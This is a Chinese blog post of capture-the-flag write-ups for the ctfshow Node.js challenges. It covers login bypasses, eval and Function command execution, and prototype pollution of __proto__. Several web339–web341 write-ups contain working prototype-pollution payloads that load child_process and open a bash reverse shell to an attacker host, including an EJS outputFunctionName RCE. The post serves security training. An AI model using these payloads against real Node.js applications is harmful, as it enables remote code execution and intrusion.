ctfshow nodejs系列

文章描述了一系列基于Web的安全问题,涉及JavaScript代码中的登录验证、eval函数的使用、MD5哈希比较、以及原型链污染等。通过分析和理解这些代码片段,可以找到获取flag的方法,例如在login.js中利用toUpperCase绕过特定条件,或者通过污染__proto__属性来改变对象的行为。这些问题展示了Web应用中常见的安全漏洞和攻击手段。
摘要由CSDN通过智能技术生成

web334

下载下来是一个zip,解压

login.js

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);

  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }

      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  

});

module.exports = router;

user.js

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

user.js已经告诉我们账户名是CTFSHOW,密码是123456

分析login.js会发现

登录成功之后会json返回flag,登录的判断条件是什么呢

name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

name不等于CTFSHOW且password等于123456

因为nodejs的toUpperCase()函数是将字符串字符转换成大写的,所以我们可以输入ctfshow,转换成大写,就可以获取到flag了

web335

ctrl+u查看源代码发现

提示eval=

我们查看nodejs的eval函数的作用

测试一下

猜测形式是eval('console.log(string)')

我们使用child_process库的spawnSync方法执行命令

上网child_process的spawnSync使用方法

我们使用执行命令

web336

跟前面一样的做法

web337

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

分析一下代码,当a和b都不是null的时候,长度相等,a和b不相等,将a+flag和b+flag分别md5的时候,他们全等,输出flag,想起了php的数组绕过,res.query是获取get传参

web338

点击下载源码

审计源代码发现

routes的login.js文件中

只要使secert.ctfshow为36dboy就可以获得flag,但是这边没有能修改secert.ctfshow的办法

但是utils.copy函数的源代码是

这段代码将object1[key] = object2[key]

如果我们这边的object1的key是__proto__

object2的key是ctfshow=36dboy

因为要json形式

这个源代码的req.body是POST传参

require("boby-parser").json()是解析json格式的

也就是application/json

所以这题的答案也就是

{"__proto__":{"ctfshow","36dboy"}}

原理

__proto__修改了Object的值,是secret.ctfshow寻找参数时,原型链里面找到他的父级的prototype

bp发送json数据包

当secret的ctfshow=="36dboy"的时候,res.end(flag)

web339

login.js核心代码

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
});

发现copy函数查看他的源码

copy源码

module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

发现对键名和值进行了赋值

login.js的判断语句 if(secert.ctfshow===flag)

不能通过像上一题一样污染ctfshow达成条件输出flag了

看了看api.js

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

当post请求api的时候,会调用render这个渲染函数,我们可以通过污染query的值,Function进行执行命令

payload:

{'username':"aa","password":"bb","__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/443 0>&1\"')"}}

污染了query的值,

global.process.mainModule.constructor._load('child_process') 全局引用child_process库

exec('bash -c \"bash -i >& /dev/tcp/vps/443 0>&1\"') 调用child_process库的exec函数,去执行一个bash的反弹shell,将query的值改成这个

监听触发端口

将这串代码发送,我们已经污染了query的值接下来就剩下POST访问api触发

POST访问api

获取flag

web340

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
  
});

module.exports = router;

app.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

module.exports = router;

发现这题还是有copy看判断条件

if(user.userinfo.isAdmin)

当isAdmin为true的时候,输出flag

但是原型链是找最近的,哪怕我们通过__proto__修改isAdmin的值,因为前面声明过this.isAdmin = false;所以不生效

为什么两次__proto__看下面的代码

payload跟上一题339差不多,只不过是需要两次__proto__才能修改Object的prototype

payload源码

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/443 0>&1\"')"}}}

web341

跟上面一题一样的代码

没有app.js

不过我们可以ejs-rce

ejs原型链污染rce

{"username":"aa","password":"bb","__proto__":{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"')"}}}

web342-343

以后研究下jade的rce

web 344

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

,用&代替

{"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

把ctfshow的c编码因为"的ascii加c就是2c触发了正则

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值